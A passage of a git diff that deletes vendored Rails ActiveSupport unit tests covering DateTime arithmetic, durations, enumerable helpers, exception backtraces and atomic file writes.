-    assert_equal DateTime.civil(2004,11,5,10), DateTime.civil(2005,6,5,10,0,0).months_ago(7)
-    assert_equal DateTime.civil(2004,12,5,10), DateTime.civil(2005,6,5,10,0,0).months_ago(6)
-    assert_equal DateTime.civil(2004,6,5,10),  DateTime.civil(2005,6,5,10,0,0).months_ago(12)
-    assert_equal DateTime.civil(2003,6,5,10),  DateTime.civil(2005,6,5,10,0,0).months_ago(24)
-  end
-
-  def test_months_since
-    assert_equal DateTime.civil(2005,7,5,10),  DateTime.civil(2005,6,5,10,0,0).months_since(1)
-    assert_equal DateTime.civil(2006,1,5,10),  DateTime.civil(2005,12,5,10,0,0).months_since(1)
-    assert_equal DateTime.civil(2005,12,5,10), DateTime.civil(2005,6,5,10,0,0).months_since(6)
-    assert_equal DateTime.civil(2006,6,5,10),  DateTime.civil(2005,12,5,10,0,0).months_since(6)
-    assert_equal DateTime.civil(2006,1,5,10),  DateTime.civil(2005,6,5,10,0,0).months_since(7)
-    assert_equal DateTime.civil(2006,6,5,10),  DateTime.civil(2005,6,5,10,0,0).months_since(12)
-    assert_equal DateTime.civil(2007,6,5,10),  DateTime.civil(2005,6,5,10,0,0).months_since(24)
-    assert_equal DateTime.civil(2005,4,30,10),  DateTime.civil(2005,3,31,10,0,0).months_since(1)
-    assert_equal DateTime.civil(2005,2,28,10),  DateTime.civil(2005,1,29,10,0,0).months_since(1)
-    assert_equal DateTime.civil(2005,2,28,10),  DateTime.civil(2005,1,30,10,0,0).months_since(1)
-    assert_equal DateTime.civil(2005,2,28,10),  DateTime.civil(2005,1,31,10,0,0).months_since(1)
-  end
-
-  def test_years_ago
-    assert_equal DateTime.civil(2004,6,5,10),  DateTime.civil(2005,6,5,10,0,0).years_ago(1)
-    assert_equal DateTime.civil(1998,6,5,10), DateTime.civil(2005,6,5,10,0,0).years_ago(7)
-    assert_equal DateTime.civil(2003,2,28,10), DateTime.civil(2004,2,29,10,0,0).years_ago(1) # 1 year ago from leap day
-  end
-
-  def test_years_since
-    assert_equal DateTime.civil(2006,6,5,10),  DateTime.civil(2005,6,5,10,0,0).years_since(1)
-    assert_equal DateTime.civil(2012,6,5,10),  DateTime.civil(2005,6,5,10,0,0).years_since(7)
-    assert_equal DateTime.civil(2182,6,5,10),  DateTime.civil(2005,6,5,10,0,0).years_since(177)
-    assert_equal DateTime.civil(2005,2,28,10), DateTime.civil(2004,2,29,10,0,0).years_since(1) # 1 year since leap day
-  end
-
-  def test_prev_year
-    assert_equal DateTime.civil(2004,6,5,10),  DateTime.civil(2005,6,5,10,0,0).prev_year
-  end
-
-  def test_next_year
-    assert_equal DateTime.civil(2006,6,5,10), DateTime.civil(2005,6,5,10,0,0).next_year
-  end
-
-  def test_ago
-    assert_equal DateTime.civil(2005,2,22,10,10,9),  DateTime.civil(2005,2,22,10,10,10).ago(1)
-    assert_equal DateTime.civil(2005,2,22,9,10,10),  DateTime.civil(2005,2,22,10,10,10).ago(3600)
-    assert_equal DateTime.civil(2005,2,20,10,10,10), DateTime.civil(2005,2,22,10,10,10).ago(86400*2)
-    assert_equal DateTime.civil(2005,2,20,9,9,45),   DateTime.civil(2005,2,22,10,10,10).ago(86400*2 + 3600 + 25)
-  end
-
-  def test_since
-    assert_equal DateTime.civil(2005,2,22,10,10,11), DateTime.civil(2005,2,22,10,10,10).since(1)
-    assert_equal DateTime.civil(2005,2,22,11,10,10), DateTime.civil(2005,2,22,10,10,10).since(3600)
-    assert_equal DateTime.civil(2005,2,24,10,10,10), DateTime.civil(2005,2,22,10,10,10).since(86400*2)
-    assert_equal DateTime.civil(2005,2,24,11,10,35), DateTime.civil(2005,2,22,10,10,10).since(86400*2 + 3600 + 25)
-    assert_equal DateTime.civil(2005,2,22,10,10,11), DateTime.civil(2005,2,22,10,10,10).since(1.333)
-    assert_equal DateTime.civil(2005,2,22,10,10,12), DateTime.civil(2005,2,22,10,10,10).since(1.667)
-  end
-
-  def test_yesterday
-    assert_equal DateTime.civil(2005,2,21,10,10,10), DateTime.civil(2005,2,22,10,10,10).yesterday
-    assert_equal DateTime.civil(2005,2,28,10,10,10), DateTime.civil(2005,3,2,10,10,10).yesterday.yesterday
-  end
-
-  def test_tomorrow
-    assert_equal DateTime.civil(2005,2,23,10,10,10), DateTime.civil(2005,2,22,10,10,10).tomorrow
-    assert_equal DateTime.civil(2005,3,2,10,10,10),  DateTime.civil(2005,2,28,10,10,10).tomorrow.tomorrow
-  end
-
-  def test_change
-    assert_equal DateTime.civil(2006,2,22,15,15,10), DateTime.civil(2005,2,22,15,15,10).change(:year => 2006)
-    assert_equal DateTime.civil(2005,6,22,15,15,10), DateTime.civil(2005,2,22,15,15,10).change(:month => 6)
-    assert_equal DateTime.civil(2012,9,22,15,15,10), DateTime.civil(2005,2,22,15,15,10).change(:year => 2012, :month => 9)
-    assert_equal DateTime.civil(2005,2,22,16),       DateTime.civil(2005,2,22,15,15,10).change(:hour => 16)
-    assert_equal DateTime.civil(2005,2,22,16,45),    DateTime.civil(2005,2,22,15,15,10).change(:hour => 16, :min => 45)
-    assert_equal DateTime.civil(2005,2,22,15,45),    DateTime.civil(2005,2,22,15,15,10).change(:min => 45)
-  end
-
-  def test_advance
-    assert_equal DateTime.civil(2006,2,28,15,15,10), DateTime.civil(2005,2,28,15,15,10).advance(:years => 1)
-    assert_equal DateTime.civil(2005,6,28,15,15,10), DateTime.civil(2005,2,28,15,15,10).advance(:months => 4)
-    assert_equal DateTime.civil(2005,3,21,15,15,10), DateTime.civil(2005,2,28,15,15,10).advance(:weeks => 3)
-    assert_equal DateTime.civil(2005,3,5,15,15,10), DateTime.civil(2005,2,28,15,15,10).advance(:days => 5)
-    assert_equal DateTime.civil(2012,9,28,15,15,10), DateTime.civil(2005,2,28,15,15,10).advance(:years => 7, :months => 7)
-    assert_equal DateTime.civil(2013,10,3,15,15,10), DateTime.civil(2005,2,28,15,15,10).advance(:years => 7, :months => 19, :days => 5)
-    assert_equal DateTime.civil(2013,10,17,15,15,10), DateTime.civil(2005,2,28,15,15,10).advance(:years => 7, :months => 19, :weeks => 2, :days => 5)
-    assert_equal DateTime.civil(2001,12,27,15,15,10), DateTime.civil(2005,2,28,15,15,10).advance(:years => -3, :months => -2, :days => -1)
-    assert_equal DateTime.civil(2005,2,28,15,15,10), DateTime.civil(2004,2,29,15,15,10).advance(:years => 1) #leap day plus one year
-    assert_equal DateTime.civil(2005,2,28,20,15,10), DateTime.civil(2005,2,28,15,15,10).advance(:hours => 5)
-    assert_equal DateTime.civil(2005,2,28,15,22,10), DateTime.civil(2005,2,28,15,15,10).advance(:minutes => 7)
-    assert_equal DateTime.civil(2005,2,28,15,15,19), DateTime.civil(2005,2,28,15,15,10).advance(:seconds => 9)
-    assert_equal DateTime.civil(2005,2,28,20,22,19), DateTime.civil(2005,2,28,15,15,10).advance(:hours => 5, :minutes => 7, :seconds => 9)
-    assert_equal DateTime.civil(2005,2,28,10,8,1), DateTime.civil(2005,2,28,15,15,10).advance(:hours => -5, :minutes => -7, :seconds => -9)
-    assert_equal DateTime.civil(2013,10,17,20,22,19), DateTime.civil(2005,2,28,15,15,10).advance(:years => 7, :months => 19, :weeks => 2, :days => 5, :hours => 5, :minutes => 7, :seconds => 9)
-
-  end
-
-  def test_next_week
-    assert_equal DateTime.civil(2005,2,28), DateTime.civil(2005,2,22,15,15,10).next_week
-    assert_equal DateTime.civil(2005,3,4), DateTime.civil(2005,2,22,15,15,10).next_week(:friday)
-    assert_equal DateTime.civil(2006,10,30), DateTime.civil(2006,10,23,0,0,0).next_week
-    assert_equal DateTime.civil(2006,11,1), DateTime.civil(2006,10,23,0,0,0).next_week(:wednesday)
-  end
-
-  def test_next_month_on_31st
-    assert_equal DateTime.civil(2005, 9, 30), DateTime.civil(2005, 8, 31).next_month
-  end
-
-  def test_prev_month_on_31st
-    assert_equal DateTime.civil(2004, 2, 29), DateTime.civil(2004, 3, 31).prev_month
-  end
-
-  def test_xmlschema
-    assert_match(/^1880-02-28T15:15:10\+00:?00$/, DateTime.civil(1880, 2, 28, 15, 15, 10).xmlschema)
-    assert_match(/^1980-02-28T15:15:10\+00:?00$/, DateTime.civil(1980, 2, 28, 15, 15, 10).xmlschema)
-    assert_match(/^2080-02-28T15:15:10\+00:?00$/, DateTime.civil(2080, 2, 28, 15, 15, 10).xmlschema)
-    assert_match(/^1880-02-28T15:15:10-06:?00$/, DateTime.civil(1880, 2, 28, 15, 15, 10, -0.25).xmlschema)
-    assert_match(/^1980-02-28T15:15:10-06:?00$/, DateTime.civil(1980, 2, 28, 15, 15, 10, -0.25).xmlschema)
-    assert_match(/^2080-02-28T15:15:10-06:?00$/, DateTime.civil(2080, 2, 28, 15, 15, 10, -0.25).xmlschema)
-  end
-
-  def test_today_with_offset
-    Date.stubs(:current).returns(Date.new(2000, 1, 1))
-    assert_equal false, DateTime.civil(1999,12,31,23,59,59, Rational(-18000, 86400)).today?
-    assert_equal true,  DateTime.civil(2000,1,1,0,0,0, Rational(-18000, 86400)).today?
-    assert_equal true,  DateTime.civil(2000,1,1,23,59,59, Rational(-18000, 86400)).today?
-    assert_equal false, DateTime.civil(2000,1,2,0,0,0, Rational(-18000, 86400)).today?
-  end
-
-  def test_today_without_offset
-    Date.stubs(:current).returns(Date.new(2000, 1, 1))
-    assert_equal false, DateTime.civil(1999,12,31,23,59,59).today?
-    assert_equal true,  DateTime.civil(2000,1,1,0).today?
-    assert_equal true,  DateTime.civil(2000,1,1,23,59,59).today?
-    assert_equal false, DateTime.civil(2000,1,2,0).today?
-  end
-
-  def test_past_with_offset
-    DateTime.stubs(:current).returns(DateTime.civil(2005,2,10,15,30,45, Rational(-18000, 86400)))
-    assert_equal true,  DateTime.civil(2005,2,10,15,30,44, Rational(-18000, 86400)).past?
-    assert_equal false,  DateTime.civil(2005,2,10,15,30,45, Rational(-18000, 86400)).past?
-    assert_equal false,  DateTime.civil(2005,2,10,15,30,46, Rational(-18000, 86400)).past?
-  end
-  
-  def test_past_without_offset
-    DateTime.stubs(:current).returns(DateTime.civil(2005,2,10,15,30,45, Rational(-18000, 86400)))
-    assert_equal true,  DateTime.civil(2005,2,10,20,30,44).past?
-    assert_equal false,  DateTime.civil(2005,2,10,20,30,45).past?
-    assert_equal false,  DateTime.civil(2005,2,10,20,30,46).past?
-  end
-
-  def test_future_with_offset
-    DateTime.stubs(:current).returns(DateTime.civil(2005,2,10,15,30,45, Rational(-18000, 86400)))
-    assert_equal false,  DateTime.civil(2005,2,10,15,30,44, Rational(-18000, 86400)).future?
-    assert_equal false,  DateTime.civil(2005,2,10,15,30,45, Rational(-18000, 86400)).future?
-    assert_equal true,  DateTime.civil(2005,2,10,15,30,46, Rational(-18000, 86400)).future?
-  end
-
-  def test_future_without_offset
-    DateTime.stubs(:current).returns(DateTime.civil(2005,2,10,15,30,45, Rational(-18000, 86400)))
-    assert_equal false,  DateTime.civil(2005,2,10,20,30,44).future?
-    assert_equal false,  DateTime.civil(2005,2,10,20,30,45).future?
-    assert_equal true,  DateTime.civil(2005,2,10,20,30,46).future?
-  end
-
-  def test_current_returns_date_today_when_zone_default_not_set
-    with_env_tz 'US/Eastern' do
-      Time.stubs(:now).returns Time.local(1999, 12, 31, 23, 59, 59)
-      assert_equal DateTime.new(1999, 12, 31, 23, 59, 59, Rational(-18000, 86400)), DateTime.current
-    end
-  end
-
-  def test_current_returns_time_zone_today_when_zone_default_set
-    Time.zone_default = ActiveSupport::TimeZone['Eastern Time (US & Canada)']
-    with_env_tz 'US/Eastern' do
-      Time.stubs(:now).returns Time.local(1999, 12, 31, 23, 59, 59)
-      assert_equal DateTime.new(1999, 12, 31, 23, 59, 59, Rational(-18000, 86400)), DateTime.current
-    end
-  ensure
-    Time.zone_default = nil
-  end
-
-  def test_current_without_time_zone
-    assert DateTime.current.is_a?(DateTime)
-  end
-
-  def test_current_with_time_zone
-    with_env_tz 'US/Eastern' do
-      assert DateTime.current.is_a?(DateTime)
-    end
-  end
-
-  def test_acts_like_time
-    assert DateTime.new.acts_like_time?
-  end
-
-  def test_local_offset
-    with_env_tz 'US/Eastern' do
-      assert_equal Rational(-5, 24), DateTime.local_offset
-    end
-    with_env_tz 'US/Central' do
-      assert_equal Rational(-6, 24), DateTime.local_offset
-    end
-  end
-
-  def test_utc?
-    assert_equal true, DateTime.civil(2005, 2, 21, 10, 11, 12).utc?
-    assert_equal true, DateTime.civil(2005, 2, 21, 10, 11, 12, 0).utc?
-    assert_equal false, DateTime.civil(2005, 2, 21, 10, 11, 12, 0.25).utc?
-    assert_equal false, DateTime.civil(2005, 2, 21, 10, 11, 12, -0.25).utc?
-  end
-
-  def test_utc_offset
-    assert_equal 0, DateTime.civil(2005, 2, 21, 10, 11, 12).utc_offset
-    assert_equal 0, DateTime.civil(2005, 2, 21, 10, 11, 12, 0).utc_offset
-    assert_equal 21600, DateTime.civil(2005, 2, 21, 10, 11, 12, 0.25).utc_offset
-    assert_equal( -21600, DateTime.civil(2005, 2, 21, 10, 11, 12, -0.25).utc_offset )
-    assert_equal( -18000, DateTime.civil(2005, 2, 21, 10, 11, 12, Rational(-5, 24)).utc_offset )
-  end
-
-  def test_utc
-    assert_equal DateTime.civil(2005, 2, 21, 16, 11, 12, 0), DateTime.civil(2005, 2, 21, 10, 11, 12, Rational(-6, 24)).utc
-    assert_equal DateTime.civil(2005, 2, 21, 15, 11, 12, 0), DateTime.civil(2005, 2, 21, 10, 11, 12, Rational(-5, 24)).utc
-    assert_equal DateTime.civil(2005, 2, 21, 10, 11, 12, 0), DateTime.civil(2005, 2, 21, 10, 11, 12, 0).utc
-    assert_equal DateTime.civil(2005, 2, 21, 9, 11, 12, 0), DateTime.civil(2005, 2, 21, 10, 11, 12, Rational(1, 24)).utc
-    assert_equal DateTime.civil(2005, 2, 21, 9, 11, 12, 0), DateTime.civil(2005, 2, 21, 10, 11, 12, Rational(1, 24)).getutc
-  end
-
-  def test_formatted_offset_with_utc
-    assert_equal '+00:00', DateTime.civil(2000).formatted_offset
-    assert_equal '+0000', DateTime.civil(2000).formatted_offset(false)
-    assert_equal 'UTC', DateTime.civil(2000).formatted_offset(true, 'UTC')
-  end
-
-  def test_formatted_offset_with_local
-    dt = DateTime.civil(2005, 2, 21, 10, 11, 12, Rational(-5, 24))
-    assert_equal '-05:00', dt.formatted_offset
-    assert_equal '-0500', dt.formatted_offset(false)
-  end
-
-  def test_compare_with_time
-    assert_equal  1, DateTime.civil(2000) <=> Time.utc(1999, 12, 31, 23, 59, 59)
-    assert_equal  0, DateTime.civil(2000) <=> Time.utc(2000, 1, 1, 0, 0, 0)
-    assert_equal(-1, DateTime.civil(2000) <=> Time.utc(2000, 1, 1, 0, 0, 1))
-  end
-
-  def test_compare_with_datetime
-    assert_equal  1, DateTime.civil(2000) <=> DateTime.civil(1999, 12, 31, 23, 59, 59)
-    assert_equal  0, DateTime.civil(2000) <=> DateTime.civil(2000, 1, 1, 0, 0, 0)
-    assert_equal(-1, DateTime.civil(2000) <=> DateTime.civil(2000, 1, 1, 0, 0, 1))
-  end
-
-  def test_compare_with_time_with_zone
-    assert_equal  1, DateTime.civil(2000) <=> ActiveSupport::TimeWithZone.new( Time.utc(1999, 12, 31, 23, 59, 59), ActiveSupport::TimeZone['UTC'] )
-    assert_equal  0, DateTime.civil(2000) <=> ActiveSupport::TimeWithZone.new( Time.utc(2000, 1, 1, 0, 0, 0), ActiveSupport::TimeZone['UTC'] )
-    assert_equal(-1, DateTime.civil(2000) <=> ActiveSupport::TimeWithZone.new( Time.utc(2000, 1, 1, 0, 0, 1), ActiveSupport::TimeZone['UTC'] ))
-  end
-
-  def test_to_f
-    assert_equal 946684800.0, DateTime.civil(2000).to_f
-    assert_equal 946684800.0, DateTime.civil(1999,12,31,19,0,0,Rational(-5,24)).to_f
-  end
-
-  def test_to_i
-    assert_equal 946684800, DateTime.civil(2000).to_i
-  end
-
-  protected
-    def with_env_tz(new_tz = 'US/Eastern')
-      old_tz, ENV['TZ'] = ENV['TZ'], new_tz
-      yield
-    ensure
-      old_tz ? ENV['TZ'] = old_tz : ENV.delete('TZ')
-    end
-end
diff --git a/vendor/rails/activesupport/test/core_ext/duplicable_test.rb b/vendor/rails/activesupport/test/core_ext/duplicable_test.rb
deleted file mode 100644
index 8b6127f3..00000000
--- a/vendor/rails/activesupport/test/core_ext/duplicable_test.rb
+++ /dev/null
@@ -1,22 +0,0 @@
-require 'abstract_unit'
-
-class DuplicableTest < Test::Unit::TestCase
-  NO  = [nil, false, true, :symbol, 1, 2.3, BigDecimal.new('4.56'), Class.new]
-  YES = ['1', Object.new, /foo/, [], {}, Time.now]
-
-  def test_duplicable
-    NO.each do |v|
-      assert !v.duplicable?
-      begin
-        v.dup
-        fail
-      rescue Exception
-      end
-    end
-
-    YES.each do |v|
-      assert v.duplicable?
-      assert_nothing_raised { v.dup }
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/test/core_ext/duration_test.rb b/vendor/rails/activesupport/test/core_ext/duration_test.rb
deleted file mode 100644
index b185d5e2..00000000
--- a/vendor/rails/activesupport/test/core_ext/duration_test.rb
+++ /dev/null
@@ -1,121 +0,0 @@
-require 'abstract_unit'
-
-class DurationTest < ActiveSupport::TestCase
-  def test_inspect
-    assert_equal '0 seconds',                       0.seconds.inspect
-    assert_equal '1 month',                         1.month.inspect
-    assert_equal '1 month and 1 day',               (1.month + 1.day).inspect
-    assert_equal '6 months and -2 days',            (6.months - 2.days).inspect
-    assert_equal '10 seconds',                      10.seconds.inspect
-    assert_equal '10 years, 2 months, and 1 day',   (10.years + 2.months + 1.day).inspect
-    assert_equal '7 days',                          1.week.inspect
-    assert_equal '14 days',                         1.fortnight.inspect
-  end
-
-  def test_minus_with_duration_does_not_break_subtraction_of_date_from_date
-    assert_nothing_raised { Date.today - Date.today }
-  end
-
-  def test_plus_with_time
-    assert_equal 1 + 1.second, 1.second + 1, "Duration + Numeric should == Numeric + Duration"
-  end
-
-  def test_argument_error
-    begin
-      1.second.ago('')
-      flunk("no exception was raised")
-    rescue ArgumentError => e
-      assert_equal 'expected a time or date, got ""', e.message, "ensure ArgumentError is not being raised by dependencies.rb"
-    rescue Exception
-      flunk("ArgumentError should be raised, but we got #{$!.class} instead")
-    end
-  end
-
-  def test_fractional_weeks
-    assert_equal((86400 * 7) * 1.5, 1.5.weeks)
-    assert_equal((86400 * 7) * 1.7, 1.7.weeks)
-  end
-
-  def test_fractional_days
-    assert_equal 86400 * 1.5, 1.5.days
-    assert_equal 86400 * 1.7, 1.7.days
-  end
-
-  def test_since_and_ago_with_fractional_days
-    t = Time.local(2000)
-    # since
-    assert_equal 36.hours.since(t), 1.5.days.since(t)
-    assert_in_delta((24 * 1.7).hours.since(t), 1.7.days.since(t), 1)
-    # ago
-    assert_equal 36.hours.ago(t), 1.5.days.ago(t)
-    assert_in_delta((24 * 1.7).hours.ago(t), 1.7.days.ago(t), 1)
-  end
-
-  def test_since_and_ago_with_fractional_weeks
-    t = Time.local(2000)
-    # since
-    assert_in_delta((7 * 36).hours.since, 1.5.weeks.since, 1)
-    assert_in_delta((7 * 24 * 1.7).hours.since, 1.7.weeks.since, 1)
-    # ago
-    assert_in_delta((7 * 36).hours.ago, 1.5.weeks.ago, 1)
-    assert_in_delta((7 * 24 * 1.7).hours.ago, 1.7.weeks.ago, 1)
-  end
-
-  def test_deprecated_fractional_years
-    years_re = /Fractional years are not respected\. Convert value to integer before calling #years\./
-    assert_deprecated(years_re){1.0.years}
-    assert_deprecated(years_re){1.5.years}
-    assert_not_deprecated{1.years}
-    assert_deprecated(years_re){1.0.year}
-    assert_deprecated(years_re){1.5.year}
-    assert_not_deprecated{1.year}
-  end
-
-  def test_deprecated_fractional_months
-    months_re = /Fractional months are not respected\. Convert value to integer before calling #months\./
-    assert_deprecated(months_re){1.5.months}
-    assert_deprecated(months_re){1.0.months}
-    assert_not_deprecated{1.months}
-    assert_deprecated(months_re){1.5.month}
-    assert_deprecated(months_re){1.0.month}
-    assert_not_deprecated{1.month}
-  end
-
-  def test_since_and_ago_anchored_to_time_now_when_time_zone_default_not_set
-    Time.zone_default = nil
-    with_env_tz 'US/Eastern' do
-      Time.stubs(:now).returns Time.local(2000)
-      # since
-      assert_equal false, 5.seconds.since.is_a?(ActiveSupport::TimeWithZone)
-      assert_equal Time.local(2000,1,1,0,0,5), 5.seconds.since
-      # ago
-      assert_equal false, 5.seconds.ago.is_a?(ActiveSupport::TimeWithZone)
-      assert_equal Time.local(1999,12,31,23,59,55), 5.seconds.ago
-    end
-  end
-
-  def test_since_and_ago_anchored_to_time_zone_now_when_time_zone_default_set
-    Time.zone_default = ActiveSupport::TimeZone['Eastern Time (US & Canada)']
-    with_env_tz 'US/Eastern' do
-      Time.stubs(:now).returns Time.local(2000)
-      # since
-      assert_equal true, 5.seconds.since.is_a?(ActiveSupport::TimeWithZone)
-      assert_equal Time.utc(2000,1,1,0,0,5), 5.seconds.since.time
-      assert_equal 'Eastern Time (US & Canada)', 5.seconds.since.time_zone.name
-      # ago
-      assert_equal true, 5.seconds.ago.is_a?(ActiveSupport::TimeWithZone)
-      assert_equal Time.utc(1999,12,31,23,59,55), 5.seconds.ago.time
-      assert_equal 'Eastern Time (US & Canada)', 5.seconds.ago.time_zone.name
-    end
-  ensure
-    Time.zone_default = nil
-  end
-
-  protected
-    def with_env_tz(new_tz = 'US/Eastern')
-      old_tz, ENV['TZ'] = ENV['TZ'], new_tz
-      yield
-    ensure
-      old_tz ? ENV['TZ'] = old_tz : ENV.delete('TZ')
-    end
-end
diff --git a/vendor/rails/activesupport/test/core_ext/enumerable_test.rb b/vendor/rails/activesupport/test/core_ext/enumerable_test.rb
deleted file mode 100644
index a2ff7679..00000000
--- a/vendor/rails/activesupport/test/core_ext/enumerable_test.rb
+++ /dev/null
@@ -1,102 +0,0 @@
-require 'abstract_unit'
-
-Payment = Struct.new(:price)
-class SummablePayment < Payment
-  def +(p) self.class.new(price + p.price) end
-end
-
-class EnumerableTests < Test::Unit::TestCase
-  def test_group_by
-    names = %w(marcel sam david jeremy)
-    klass = Struct.new(:name)
-    objects = (1..50).inject([]) do |people,|
-      p = klass.new
-      p.name = names.sort_by { rand }.first
-      people << p
-    end
-
-    grouped = objects.group_by { |object| object.name }
-
-    grouped.each do |name, group|
-      assert group.all? { |person| person.name == name }
-    end
-
-    assert_equal objects.uniq.map(&:name), grouped.keys
-    assert({}.merge(grouped), "Could not convert ActiveSupport::OrderedHash into Hash")
-  end
-
-  def test_sums
-    assert_equal 30, [5, 15, 10].sum
-    assert_equal 30, [5, 15, 10].sum { |i| i }
-
-    assert_equal 'abc', %w(a b c).sum
-    assert_equal 'abc', %w(a b c).sum { |i| i }
-
-    payments = [ Payment.new(5), Payment.new(15), Payment.new(10) ]
-    assert_equal 30, payments.sum(&:price)
-    assert_equal 60, payments.sum { |p| p.price * 2 }
-
-    payments = [ SummablePayment.new(5), SummablePayment.new(15) ]
-    assert_equal SummablePayment.new(20), payments.sum
-    assert_equal SummablePayment.new(20), payments.sum { |p| p }
-  end
-
-  def test_nil_sums
-    expected_raise = TypeError
-
-    assert_raise(expected_raise) { [5, 15, nil].sum }
-
-    payments = [ Payment.new(5), Payment.new(15), Payment.new(10), Payment.new(nil) ]
-    assert_raise(expected_raise) { payments.sum(&:price) }
-
-    assert_equal 60, payments.sum { |p| p.price.to_i * 2 }
-  end
-
-  def test_empty_sums
-    assert_equal 0, [].sum
-    assert_equal 0, [].sum { |i| i }
-    assert_equal Payment.new(0), [].sum(Payment.new(0))
-  end
-
-  def test_enumerable_sums
-    assert_equal 10, (1..4).sum
-  end
-
-  def test_each_with_object
-    result = %w(foo bar).each_with_object({}) { |str, hsh| hsh[str] = str.upcase }
-    assert_equal({'foo' => 'FOO', 'bar' => 'BAR'}, result)
-  end
-
-  def test_index_by
-    payments = [ Payment.new(5), Payment.new(15), Payment.new(10) ]
-    assert_equal({ 5 => payments[0], 15 => payments[1], 10 => payments[2] },
-                 payments.index_by { |p| p.price })
-  end
-
-  def test_many
-    assert ![].many?
-    assert ![ 1 ].many?
-    assert [ 1, 2 ].many?
-
-    assert ![].many? {|x| x > 1 }
-    assert ![ 2 ].many? {|x| x > 1 }
-    assert ![ 1, 2 ].many? {|x| x > 1 }
-    assert [ 1, 2, 2 ].many? {|x| x > 1 }
-  end
-
-  def test_none
-    assert [].none?
-    assert [nil, false].none?
-    assert ![1].none?
-
-    assert [].none? {|x| x > 1 }
-    assert ![ 2 ].none? {|x| x > 1 }
-    assert ![ 1, 2 ].none? {|x| x > 1 }
-    assert [ 1, 1 ].none? {|x| x > 1 }
-  end
-  
-  def test_exclude?
-    assert [ 1 ].exclude?(2)
-    assert ![ 1 ].exclude?(1)
-  end
-end
diff --git a/vendor/rails/activesupport/test/core_ext/exception_test.rb b/vendor/rails/activesupport/test/core_ext/exception_test.rb
deleted file mode 100644
index dabd8c7c..00000000
--- a/vendor/rails/activesupport/test/core_ext/exception_test.rb
+++ /dev/null
@@ -1,68 +0,0 @@
-require 'abstract_unit'
-
-class ExceptionExtTests < Test::Unit::TestCase
-
-  def get_exception(cls = RuntimeError, msg = nil, trace = nil)
-    begin raise cls, msg, (trace || caller)
-    rescue Exception => e  # passed Exception
-      return e
-    end
-  end
-
-  def setup
-    Exception::TraceSubstitutions.clear
-  end
-
-  def test_clean_backtrace
-    Exception::TraceSubstitutions << [/\s*hidden.*/, '']
-    e = get_exception RuntimeError, 'RAWR', ['bhal.rb', 'rawh hid den stuff is not here', 'almost all']
-    assert_kind_of Exception, e
-    assert_equal ['bhal.rb', 'rawh hid den stuff is not here', 'almost all'], e.clean_backtrace
-  end
-
-  def test_app_backtrace
-    Exception::TraceSubstitutions << [/\s*hidden.*/, '']
-    e = get_exception RuntimeError, 'RAWR', ['bhal.rb', ' vendor/file.rb some stuff', 'almost all']
-    assert_kind_of Exception, e
-    assert_equal ['bhal.rb', 'almost all'], e.application_backtrace
-  end
-
-  def test_app_backtrace_with_before
-    Exception::TraceSubstitutions << [/\s*hidden.*/, '']
-    e = get_exception RuntimeError, 'RAWR', ['vendor/file.rb some stuff', 'bhal.rb', ' vendor/file.rb some stuff', 'almost all']
-    assert_kind_of Exception, e
-    assert_equal ['vendor/file.rb some stuff', 'bhal.rb', 'almost all'], e.application_backtrace
-  end
-
-  def test_framework_backtrace_with_before
-    Exception::TraceSubstitutions << [/\s*hidden.*/, '']
-    e = get_exception RuntimeError, 'RAWR', ['vendor/file.rb some stuff', 'bhal.rb', ' vendor/file.rb some stuff', 'almost all']
-    assert_kind_of Exception, e
-    assert_equal ['vendor/file.rb some stuff', ' vendor/file.rb some stuff'], e.framework_backtrace
-  end
-
-  def test_backtrace_should_clean_paths
-    Exception::TraceSubstitutions << [/\s*hidden.*/, '']
-    e = get_exception RuntimeError, 'RAWR', ['a/b/c/../d/../../../bhal.rb', 'rawh hid den stuff is not here', 'almost all']
-    assert_kind_of Exception, e
-    assert_equal ['bhal.rb', 'rawh hid den stuff is not here', 'almost all'], e.clean_backtrace
-  end
-
-  def test_clean_message_should_clean_paths
-    Exception::TraceSubstitutions << [/\s*hidden.*/, '']
-    e = get_exception RuntimeError, "I dislike a/z/x/../../b/y/../c", ['a/b/c/../d/../../../bhal.rb', 'rawh hid den stuff is not here', 'almost all']
-    assert_kind_of Exception, e
-    assert_equal "I dislike a/b/c", e.clean_message
-  end
-
-  def test_app_trace_should_be_empty_when_no_app_frames
-    Exception::TraceSubstitutions << [/\s*hidden.*/, '']
-    e = get_exception RuntimeError, 'RAWR', ['vendor/file.rb some stuff', 'generated/bhal.rb', ' vendor/file.rb some stuff', 'generated/almost all']
-    assert_kind_of Exception, e
-    assert_equal [], e.application_backtrace
-  end
-
-  def test_frozen_error
-    assert_raise(ActiveSupport::FrozenObjectError) { "foo".freeze.gsub!(/oo/,'aa') }
-  end
-end
diff --git a/vendor/rails/activesupport/test/core_ext/file_test.rb b/vendor/rails/activesupport/test/core_ext/file_test.rb
deleted file mode 100644
index eedc6b59..00000000
--- a/vendor/rails/activesupport/test/core_ext/file_test.rb
+++ /dev/null
@@ -1,67 +0,0 @@
-require 'abstract_unit'
-
-class AtomicWriteTest < Test::Unit::TestCase
-  def test_atomic_write_without_errors
-    contents = "Atomic Text"
-    File.atomic_write(file_name, Dir.pwd) do |file|
-      file.write(contents)
-      assert !File.exist?(file_name)
-    end
-    assert File.exist?(file_name)
-    assert_equal contents, File.read(file_name)
-  ensure
-    File.unlink(file_name) rescue nil
-  end
-
-  def test_atomic_write_doesnt_write_when_block_raises
-    File.atomic_write(file_name) do |file|
-      file.write("testing")
-      raise "something bad"
-    end
-  rescue
-    assert !File.exist?(file_name)
-  end
-
-  def test_atomic_write_preserves_file_permissions
-    contents = "Atomic Text"
-    File.open(file_name, "w", 0755) do |file|
-      file.write(contents)
-      assert File.exist?(file_name)
-    end
-    assert File.exist?(file_name)
-    assert_equal 0100755, file_mode
-    assert_equal contents, File.read(file_name)
-
-    File.atomic_write(file_name, Dir.pwd) do |file|
-      file.write(contents)
-      assert File.exist?(file_name)
-    end
-    assert File.exist?(file_name)
-    assert_equal 0100755, file_mode
-    assert_equal contents, File.read(file_name)
-  ensure
-    File.unlink(file_name) rescue nil
-  end
-
-  def test_atomic_write_preserves_default_file_permissions
-    contents = "Atomic Text"
-    File.atomic_write(file_name, Dir.pwd) do |file|
-      file.write(contents)
-      assert !File.exist?(file_name)
-    end
-    assert File.exist?(file_name)
-    assert_equal 0100666 ^ File.umask, file_mode
-    assert_equal contents, File.read(file_name)
-  ensure
-    File.unlink(file_name) rescue nil
-  end
-
-  private
-    def file_name
-      "atomic.file"
-    end
-
-    def file_mode
-      File.stat(file_name).mode
-    end
-end
